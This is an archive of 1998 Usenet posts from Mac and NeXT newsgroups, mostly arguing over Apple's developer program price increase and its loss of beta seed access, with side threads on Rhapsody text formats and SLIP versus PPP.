"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 11:44:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B151149C-26869@206.165.43.154>
References: <6ggaju$rts$4@news01.deltanet.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Ellsworth <scott@eviews.com> said:
> Hmmm. Hell may have just frozen over - I find myself agreeding
> with both of your last two posts. In point of fact, your reminder
> that Apple had tried this before and failed was very timely.
But this was BEFORE (or at least, during) the Spindler nervous breakdown
and the PR/marketing disasters that followed hiring Amelio.
Apple no longer has a year or two cushion to stave off the ill effects of
developer resentment over this.
Here's a concrete example:
last week, if I needed info about GX, I could download whatever parts of
the latest GX SDK that I was lacking. I had meant to download everything in
the past week, but had no inkling that this was coming, so I put it off.
There were upgrades to the various sample apps and libraries to fit better
with the latest Universal Headers libraries that I would have liked to use,
as well as an upgrade to the new GX printing library. Unless I become a
developer again at $500/per, it looks like I'm stuck using 2-year-old SDKs,
which means no GXFCN printing for MacOS 8.
Too bad, you say? GX is dead, you say?
Yeah, but what about every other shareware developer who was in the middle
of producing/upagrading a product? Are all of those worthless, also?
My next project after getting GXFCN out the door would have been (might
still be) to create a QD3D_FCN to provide HyperCard access to QuickDraw 3D.
My last QD3D SDK is years out of date and I'll have to spend that $500 to
get it updated.
If anyone seriously thinks that having interactive programming access to
the QD3D API (function calls) wouldn't be a killer product for Apple, they
are living on one of the moons of Jupiter and the radiation has gotten to
their brains but since I'm operating out of my home, with no regular income
to speak of, taking care of a sick kid, while trying to make sure that his
mom improves her education, that $500 is going to be mighty hard to come
by.
And so, the mighty Titanic hits the iceberg going at full speed.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
Sender: khuber@bambi.visi.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: When will Unix be free?
References: <geordie-0704981301040001@130.130.117.53> <6gdt74$h96$1@news.apple.com> <352a882c.0@206.25.228.5>
From: Kevin Huber <khuber@yuck.net>
Message-ID: <uj2btuc88e3.fsf@bambi.visi.com>
Date: Wed, 08 Apr 1998 18:40:04 GMT
NNTP-Posting-Date: Wed, 08 Apr 1998 13:40:04 CST
"John" == John Kheit <jkheit@xtdl.com> writes:
John> Trademark. Though it's rare, and difficult to pull off. Xerox
John> does all those ads about its Trademark because it has come
John> dangerously close to becoming a generic term.
Everyone seems to call them photocopiers now (at least in the midwest
U.S.A). Go figure. Our main copiers are giant Kodaks. "Could you
go Kodak a copy of this for me?". I'd half expect them to whip out
an Instamatic.
Maybe we can get Xerox to make "PC" generic.
-Kevin
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0604981128160001@ts77-09.tor.istar.ca>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com> <6ga6l3$fhe$6@ironhorse.plsys.co.uk>
Organization: Atria Software
Date: Mon, 06 Apr 1998 15:26:33 GMT
NNTP-Posting-Date: Mon, 06 Apr 1998 11:26:33 EST
In article <6ga6l3$fhe$6@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Think back to 1988 and then tell us, given NeXT's goal of using standards
> where they make sense, and diverging when they could do something
> significantly better, tell us again what format you'd have chosen.
The only problem I have with ALL of these formats, compared to Mac text
format, is that the formatting is internal. Now under OpenStep this isn't
much of an issue because everyone's using NSTextViews and such, but give
the file to a Mac or PC user and things are a little tougher. Out of band
formatting definitely has it's advantages.
Maury
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 19:24:55 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6ggiu7$auu$1@vixen.cso.uiuc.edu>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
"Lawson English" <english@primenet.com> writes:
>But shareware programmers often fill in the gaps that commercial software
>leaves. Also shareware programmers learn the ropes via feedback from their
>customers and are often high school/college students who later enter the
>Mac programming field as professionals.
>There's one very, VERY important piece of software that wouldn't exist if
>shareware wasn't easy to do on the Mac:
>Stuffit.
>Raymond Lau put himself through MIT by writing Stuffit when he was 16 and
>Alladin Software is a pretty important software house in the Macintosh
>community..
>Where's the next Stuffit or Alladin Software for MacOS going to come from
>if there aren't going to be any more Raymond Lau's?
Although I disapprove of the move by Apple, I really question why a
HS/college student would have to join the developer programs to write
software. After all, they could just download MPW or buy CodeWarrior at a
huge discount, and learn from the vast amount of online resources at
devworld.apple.com. Although I agree it might drive away small,
commercial developers, for the student developer, even the previous $250
was too much.
Guanyao Cheng
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 19:26:57 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6ggj21$fit$6@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com>
scott@eviews.com (Scott Ellsworth) wrote:
[ ... ]
>> I don't have much of an opinion about Apple's change to their Dev. program
>> pricing, one way or the other. I do know, however, that people who condone
>> software piracy have no moral grounds whatsoever to complain about what Apple
>> does.
>
> The fellow's point was, I hope, that limiting distribution in this way
> seems unlikely to prevent the seeds from getting to the warez sites,
> because the current arcana one has to go through to get seeds
> (and it is VERY arcane) has not succeeded.
I don't believe Apple's actions should be influenced significantly by the prospect
that people will pirate their software. (Aside from the IMHO clever effort they've
made mastering their CD's to be uncopyable via a standard CD-R burner. :-)
> As a result, the only people who are incovenienced by the
> former situation were honest developers who wished to get
> new seeds directly from Apple. The new situation will limit
> the exposure of honest developers to upcoming MacOS
> releases even more.
I'm not sure people understand the purpose of seeding and beta testing programs.
Rhapsody DR1 is the first "semi-public" beta release of a complex new operating
system. DR1 is not a final product; it is not ready for production usage, nor is it
suitable as a standalone platform for serious development.
Actually, there are multiple purposes. Apple's is to get the software out to the
people who have the ability and resources to test Rhapsody, and give these people
early access to the technologies so that they can start writing and porting
third-party software.
However, Apple does not want to spend the time (== money) and resources to provide
extensive support for DR1 to individual people who just want to play around. In the
long run, Apple's customer base is better served by Apple using their finite
resources effectively. For a perfect example, someone over the last day or so was
asking how to make DR1 into a primary nameserver and mail exchanger. That doesn't
make any sense-- DR1 is *beta*, not production.
[ ... ]
> Let me say that more loudly - by limiting things in this way, they
> are only preventing honest developers willing to pay a substantial
> fee from testing products and giving useful feedback.
It costs a company over $100,000 annually to support one developer. $500 per year is
less than 1%. If a company has any actual interest in Rhapsody as a technology or
deployment target, they can easily afford to pay to join the developer program and
gain seeding access.
The people for whom this price change matters are individuals and students. And, to
be blunt, these people are the ones who are unlikely to have the resources (unused
machine(s) to dedicate to Rhapsody, a functioning LAN with a firewall [to meet the
RDR1 licensing terms], and a working fileserver and preferably NetInfo server) to
provide Apple with the kinds of feedback that they could use. Such individuals are
far more likely to require excessive support resources for little benefit.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 8 Apr 1998 16:51:38 -0400
Organization: Interport Communications Corp.
Message-ID: <6ggo0q$47c$1@interport.net>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1
kt$6@quasar.dimensional.com>
Distribution:
Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
: > SLIP was a hack. This is well known. PPP is robust
: > and extensible. You practically can't compare the two.
: Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
: modulization system is a hack! 56k is an even bigger double hack! ISDN is
: even a hack!
PPP is fairly well written. SLIP was *explicitly* a hack; it was written
as a short-term solution, and its author acknowledged that it was a hack.
: From a programmer's point of view, the phone system is a hack. There isn't
: an elegant way to connect to the Internet without spending gobs of money.
That's a fact that bothers me on a daily basis.
: Actually, I'm kind of sick of the whole idea of modulization.
Care to expand on this?
--
Ben
<Just Another System Administrator>
From: gutkneco+news@lirmm.fr (Olivier Gutknecht)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 22:55:48 +0100
Organization: Elevage d'agents nourris au grain
Message-ID: <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com>
Scott Ellsworth <scott@eviews.com> wrote:
> In article <6gg6af$fit$1@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> >xhsoft@injep.fr (Xavier Humbert) wrote:
> >> Scott Ellsworth <scott@eviews.com> wrote:
> >>> The seeding program, imho, served a valuable purpose, but Apple, I
> >>> think, does not want any leaks of its seeds, and so it is trying to
> >>> reduce the number of developers who might have access.
> >> What is obviously stupid : WarEz sites have System Seeds BEFORE the
> >> official FTP :-(
> >>
> >> Xav, looking for a warez URL
> >
> >I don't have much of an opinion about Apple's change to their Dev. program
> >pricing, one way or the other. I do know, however, that people who condone
> >software piracy have no moral grounds whatsoever to complain about what Apple
> >does.
>
> The fellow's point was, I hope, that limiting distribution in this way
> seems unlikely to prevent the seeds from getting to the warez sites,
> because the current arcana one has to go through to get seeds
> (and it is VERY arcane) has not succeeded.
And in the European Developer Programs we experienced frequent problems
with the central FTP seed. People in the CQF often had access to the
seeds before members of the euroDev programs, and on an european mirror.
:-/
Another interesting information: the FAQ on developer.apple.com reads
that Apple has been limiting access to the Associate Programs in the
last six months... In the US only I guess, as I renewed my membership
two weeks ago and have not heard a word from EDR indicating that I might
not have what I was paying for.
> Let me say that more loudly - by limiting things in this way, they are
> only preventing honest developers willing to pay a substantial fee from
> testing products and giving useful feedback. $250 is substantial when it
> is out of your own pocket, and many Mac evangelists and partisans at
> otherwise wintel companies often have to do thier Mac work on thier own,
> in order to sell the company on the benefits.
Agreed. The only explanation is that Apple is not interested anymore in
small/independant development groups.
Ol.
--
Olivier Gutknecht ... LIRMM Montpellier - A.I. Dept
gutkneco@lirmm.fr ... Multi-Agent Group - MadKit Architect
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 17:00:06 -0400
Organization: Yale University
Message-ID: <trumbull-0804981700060001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
In article <6ggj21$fit$6@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> provide Apple with the kinds of feedback that they could use. Such
individuals are
> far more likely to require excessive support resources for little benefit.
The only development resources I've ever required from Apple is a web
server they were going to be running for thousands of other people
anyway. And Apple has made quite a handsome little profit on selling me
Inside Macintosh and other development resources. The numbers somebody
came up with regarding Apple's cost to support one "developer" approach
something like pure fiction.
As for the little benefit, that's a cheap shot. I'll think of you when I
write the licensing part of my next freeware program.
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 16:06:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gg7a3$nnc$1@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net>
<6ggmbv$1kt$5@quasar.dimensional.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Ken@_$spamless$_KenAndTed.com
In <6ggmbv$1kt$5@quasar.dimensional.com> Kenneth R. Kinder claimed:
> I'll put money on that. $20 says that PPP will NOT be the primary dialup
> method in 2001.
Done. I'll even accept CDN if you lose, and pay US if you win.
Maury
From: petcher@howdy.wustl.edu (Donald N. Petcher)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 21:24:46 GMT
Organization: Washington University in St. Louis
Message-ID: <6ggpuu$f6q$1@newsreader.wustl.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <01bd6267$fa532b30$9b2168cf@test1> <352ad905.0@206.25.228.5> <1d761b5.13ha0xu1i2sd4wN@roxboro0-043.dyn.interpath.net>
> "Todd Heberlein" <todd@NetSQ.com> wrote:
>
> Yea, and look at the marketshare and number of developers for that
> platform vs. the mac. I don't know the details of this program
> change yet, so I'll reserve final judgement till then. But *if*
> they cut services and doubled the costs to developers, I'd say this
> is the proud continuation of BOZO behavior at Apple.
This sounds more like NeXT infiltration to me.
Cheers,
Don Petcher
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 98 21:34:57 GMT
Organization: QMS
Message-ID: <6ggqha$9fk$1@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com>
In article <6ggmk2$jdl$1@news.digifix.com>, sanguish@digifix.com (Scott Anguish) wrote:
>On 04/08/98, George Graves wrote:
>>In article <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>,
>>rexr@cx54440-a.dt1.sdca.home.com wrote:
>>What this really means is less shareware (on top of the fact that
>>its already shrinking because the platform is shrinking), and less
>>software from small developers in general, you know, the people
>>from whom all the innovation comes.
>
> Thats a crock.
I disagree.
Small developers run quite close to the margin in many cases,
and when you price something to exclude them, you are by
definition excluding the people with the least inertia. It may be
the case that those people produce little software worth buying,
but I have seen many products bought by people like Alladin,
Microsoft, and Apple which were originally produced by one
and two man shops. The new developer programs make it
more difficult for those people to be out early with functioning
applications.
>The Online program is free. It gets you the samples, and the
>manuals. It also gets you Code Warrior Lite.
And it cannot easily be used by a startup trying to put product
together, nor can it be used by someone doing thier own private
skunk works project. Trust me on this - I want the Mac to be a
viable platform at QMS, which it is not. The only way I can
demonstrate the value of the platform is to purchase appropriate
Mac tools, build our products, and demonstrate that they are
interesting. Having early builds makes it more likely that I
will have a demo that means something,
I know two other developers at former cross platform shops doing
much the same. God only knows if this will work, but it is the
case that QMS has already decided to drop Mac development,
so they are a lost cause if I cannot change that.
> From that you can learn Macintosh programming and put out
>freeware apps.
True enough. Of course, your freeware and shareware will need
modification after the OS release happens. Further, certain
small scale authors push an OS a hell of a lot more than many
commercial app developers do.
> Few, if any, of the people pissing and moaning about loosing
>access to the seeding program actually NEED access to it in many
>cases.
Of course, they changed the rules in mid year, such that anyone
already paying for a developer subscription got substantially
fewer benefits. (Specifically, dropping the hardware agreement
unlaterally is far from a nice move, and changes the economic
impact of the developer program substantially.)
> Now, as far as Rhapsody is concerned it is leaving a gap, but
>only because of the time-frame.... However if you join Select you're
>still covered.
There will always be a gap. Apple is incapable of shipping something
with decent prerelease documentation in the New Regime, I suspect.
HFS+ might be a counterargument, but if there is no way to get a
Rhapsody seed without a substantial cash outlay, then you have
delayed the release of software using Rhapsody features until your
public ship date.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 21:46:29 GMT
Message-ID: <01bc452e$e8a3eac0$3df0bfa8@davidsul>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu>
> Although I disapprove of the move by Apple, I really question why a
> HS/college student would have to join the developer programs to write
> software. After all, they could just download MPW or buy CodeWarrior at a
> huge discount, and learn from the vast amount of online resources at
> devworld.apple.com. Although I agree it might drive away small,
> commercial developers, for the student developer, even the previous $250
> was too much.
Really?
How does a college student who wants to develop apps for rhapsody do so
without spending the $250 (now $500)?
Thats the only way they can legitimately get rhapsody, plus other apple
beta softwares they may want to develop for.
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 14:42:59 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-0804981442590001@oranoco.discoverysoft.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
In article <B1511019-15903@206.165.43.154>, "Lawson English"
<english@primenet.com> wrote:
>Trying to make developer *support* a profit center is an INSANE idea.
>Hopefully, either Jobs will change this, or the more rational stockholders
>will hear about it in time to vote against him because this one action, *BY
>ITSELF*, will destroy Apple.
That's the best summary I've seen yet. The real worry is that it will do
so *SLOWLY*... consumers probably won't see the effects this has on the
development community for months or a year yet. Suddenly new
shareware/freeware will start getting a lot more scarce.
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: "Paul Rekieta" <PRekieta@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 14:53:05 -0700
Organization: Apple Computer, Inc.
Message-ID: <6ggrjt$82q$1@news2.apple.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
>
>No betas, and now, apparently no online versions of the SDKs. They were
>available last week online, but no longer.
>
The SDK's are at <http://devworld.apple.com/sdk/index.html>
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 98 21:57:03 GMT
Organization: QMS
Message-ID: <6ggrqo$b5p$1@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
In article <6ggj21$fit$6@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
>I don't believe Apple's actions should be influenced significantly by
>the prospect that people will pirate their software. (Aside from
> the IMHO clever effort they've made mastering their CD's to be
> uncopyable via a standard CD-R burner. :-)
Though clearly this is a major influence on thier actions.
..
>Rhapsody DR1 is the first "semi-public" beta release of a complex new
>operating system. DR1 is not a final product; it is not ready for
>production usage, nor is it suitable as a standalone platform for
> serious development.
It is, though, a good platform to start gaining developer familiarity.
Further, it is "neat" enough to gather some interest, and that
"neat" factor comes part and parcel with the low inertia that
small shops have.
Besides, I have an external 2G drive I can put the seed on, use,
and then unplug and tuck away when I am done. This justifies
the use for me, and makes it suitable as a test bed.
>Actually, there are multiple purposes. Apple's is to get the software out to
>the people who have the ability and resources to test Rhapsody, and give
>these people early access to the technologies so that they can start
>writing and porting third-party software.
Yep. And many of the small time developers are the types who can
both commit to an untried technology, and push the OS in ways
the designers did not intend. This is handy for OS testing.
>However, Apple does not want to spend the time (== money) and resources to
>provide extensive support for DR1 to individual people who just want to play
>around.
On the other hand, finding out just how good the Java environment is
might just be a good idea before it ships. (As an example). MrJ's
AWT implementation is substantially slower than any VM I have used
on Windows in feel, but there are not going to be any changes in it
for a while, because Apple needs to get 1.2 going. Thus, informing
them NOW of what is wrong with MrJ is not going to do any good.
It would be really handy if I could try some of my Java apps against
thier Rhapsody Java client before they consider it done, because
Apple does not like opening a component once they consider it
done. The only time when this can happen is while the component
is still in alpha or beta, not after release.
With thier new decisions, they have cut down the number of people
who can even try the aplpha/beta software.
>In the long run, Apple's customer base is better served by Apple
>using their finite resources effectively. For a perfect example,
>someone over the last day or so was asking how to make DR1 into
>a primary nameserver and mail exchanger. That doesn't make any
>sense-- DR1 is *beta*, not production.
A decent point. I certainly wouldn't try it, but had I a network
that was internal only, I might give it a shot just to see if it was
really up to it. Further, Apple might be interested in what worked
and what did not. Since they do not provide a list of what features
are "done" and which are unfinished, it is hard to know exactly
what to test as a developer.
>[ ... ]
>> Let me say that more loudly - by limiting things in this way, they
>> are only preventing honest developers willing to pay a substantial
>> fee from testing products and giving useful feedback.
>
>It costs a company over $100,000 annually to support one developer.
>$500 per year is less than 1%. If a company has any actual interest
>in Rhapsody as a technology or deployment target, they can easily
>afford to pay to join the developer program and gain seeding access.
With that attitude, you are insuring that only strongly pro Mac
companies are in the early access loop, as opposed to strongly
pro Mac individuals. This might be for the best, as it does
transition neatly into the corporate/enterprise world. Unfortunately,
this is a world in which they have mostly already lost. Apple has
damn few big friends anymore, and if they annoy the small developers
too much, well, each one is a former Mac partisan who might have
some influence over thier organizations.
>The people for whom this price change matters are individuals and
>students. And, to be blunt, these people are the ones who are
>unlikely to have the resources (unused machine(s) to dedicate to
>Rhapsody, a functioning LAN with a firewall [to meet the
>RDR1 licensing terms], and a working fileserver and preferably
>NetInfo server) to provide Apple with the kinds of feedback that
>they could use. Such individuals are far more likely to require
>excessive support resources for little benefit.
My Linux-based firewall cost $500 to build a year and a half ago, and
I could have spent less had I not wanted a linux box for other
purposes. Assuming you have reasonable discounts on hardware, people
will buy new machines, and thus can be assumed to have an old one
lying about, or at least an external drive they can use for it when
the time is right.
Perhaps more important, the support demands are not all that high
for the potential return. The real costs are some tremendous fixed
costs. Qualifying a build and burning a CD takes a tremendous
amount of time. Duping fifty copies instead of ten is a minor
change. Responding to the mail you get can be problematic,
but before deciding that you have product that does not need
seeding, note that Metrowerk's last build of CWPro 3 had a
number of final candidate builds. For them, it was worth giving it
away betas free to customers to find these last minute bugs. I
know I found one that they fixed for Pro 3, and I was not pushing
it that hard.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: ktatroe@badgercom.com (k.tatroe)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 16:00:39 -0600
Organization: writers are queer so keep away
Message-ID: <ktatroe-0804981600390001@prospero.frii.com>
References: <6ggj21$fit$6@anvil.BLaCKSMITH.com> <B1513924-1B3A6@206.165.43.150>
In article <B1513924-1B3A6@206.165.43.150>, "Lawson English"
<english@primenet.com> wrote:
> Charles Swiger <chuck-nospam@blacksmith.com> said:
>
> > The people for whom this price change matters are individuals and
> > students. And, to
> > be blunt, these people are the ones who are unlikely to have the
> resources
> > (unused
> > machine(s) to dedicate to Rhapsody, a functioning LAN with a firewall [to
> > meet the
> > RDR1 licensing terms], and a working fileserver and preferably NetInfo
> > server) to
> > provide Apple with the kinds of feedback that they could use. Such
> > individuals are
> > far more likely to require excessive support resources for little
> benefit.
> >
>
>
>
> Games Sprockets for MacOS now costs $500.
>
> It isn't just the Rhapsody beta seeding. That I don't mind paying for.
<http://developer.apple.com/sdk/> has not only Apple Game Sprockets, but
just about every other SDK that came on the April CD (I don't have the CD
here at my day job to compare item by item, but I don't see anything
missing offhand).
As a small developer - a hobbyist, really - the $250 above the old
program's cost isn't minor to me, but it's still well within reach. If I
didn't want access to the beta stuff (and really, I think few small
developers - even the cool ones who come up with brilliant main-stay stuff
- need access to beta stuff), I'd just pay for the monthly mailing, and
save $50 over what I paid for the Associates program.
While the price increase doesn't bother me much, the loss of hardware
purchasing (which I don't have the budget to take advantage of, anyway)
bothers me greatly. However, if Apple starts reacting to its developers
like Be has to its developers (to me, anyway), the cost increase will be
trivial compared to the better relationship. If, however, Developer
Programs continues to be a black hole where questions about such things as
"my credit card was charged three months ago and I still haven't even
recieved confirmation" like some have experienced in the past, I may have
to join the ranks of the livid...
-k. 08-Apr-98
ktatroe@badgercom.com
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 22:08:19 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
